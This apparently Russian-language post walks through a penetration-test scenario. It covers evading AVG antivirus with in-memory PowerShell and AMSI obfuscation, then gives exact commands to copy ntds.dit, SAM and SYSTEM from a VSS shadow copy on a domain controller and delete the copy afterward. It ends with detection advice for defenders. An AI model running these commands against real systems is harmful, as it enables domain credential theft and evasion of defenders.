🔺Рассмотрим практический сценарий обхода AVG при внутренней оценке безопасности.🔺 ✈️Точка входа это сервер Exchange DC-SERVER03. Конечная цель заключается в получении учетных данных из Active Directory на контроллере домена DC-SERVER01.✈️

👩‍💻Использование скомпилированных исполняемых файлов здесь приведет к немедленной блокировке сигнатурным анализом. Для снижения рисков детекта целесообразно использовать методологию Living off the Land. В данном случае PowerShell выступает оптимальным вектором доставки. Загрузка скриптов напрямую в оперативную память исключает создание файлов на диске и минимизирует взаимодействие с файловой системой антивируса. Встроенный модуль AMSI нейтрализуется применением стандартных техник обфускации строк.👩‍💻

🔠Главная техническая сложность на этапе работы с контроллером домена заключается в извлечении файла ntds.dit и кустов реестра SAM и SYSTEM. Прямое копирование или использование утилиты reg save блокируется операционной системой из-за эксклюзивного захвата файлов системными процессами. Кроме того AVG отслеживает подобные паттерны поведения как характерные для этапа credential dumping.🔠

✈️Для решения этой задачи применяется встроенная служба теневого копирования томов VSS. Данный механизм является легитимным системным API, поэтому решения EDR обычно не вмешиваются в его работу.✈️

На первом этапе инициируем создание снимка командой с указанием целевого тома.

vssadmin create shadow /for=C:

🔠Система возвращает идентификатор созданного слепка, который потребуется для следующего шага.🔠

✈️На втором этапе осуществляется обращение к теневой копии через синтаксис глобального корня устройства. Из этого изолированного контекста файлы копируются в рабочую директорию без блокировок со стороны ОС и антивируса. Необходимо заменить значение в скобках на полученный ранее идентификатор.✈️

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[ShadowCopy_ID]\Windows\NTDS\ntds.dit C:\temp\ntds.dit

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[ShadowCopy_ID]\Windows\System32\config\SYSTEM C:\temp\SYSTEM

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[ShadowCopy_ID]\Windows\System32\config\SAM C:\temp\SAM

👩‍💻На третьем этапе после успешного переноса данных производится обязательное удаление артефакта.👩‍💻

vssadmin delete shadows /for=C: /quiet

👩‍💻Данный пример наглядно демонстрирует, что блокировка известных вредоносных утилит не останавливает атакующего при наличии необходимых привилегий. Для защиты инфраструктуры синей команде рекомендуется ограничить права на использование VSS через групповые политики и настраивать мониторинг аномальных цепочек событий, где создание теневой копии жестко коррелирует с копированием файлов из пути GLOBALROOT👩‍💻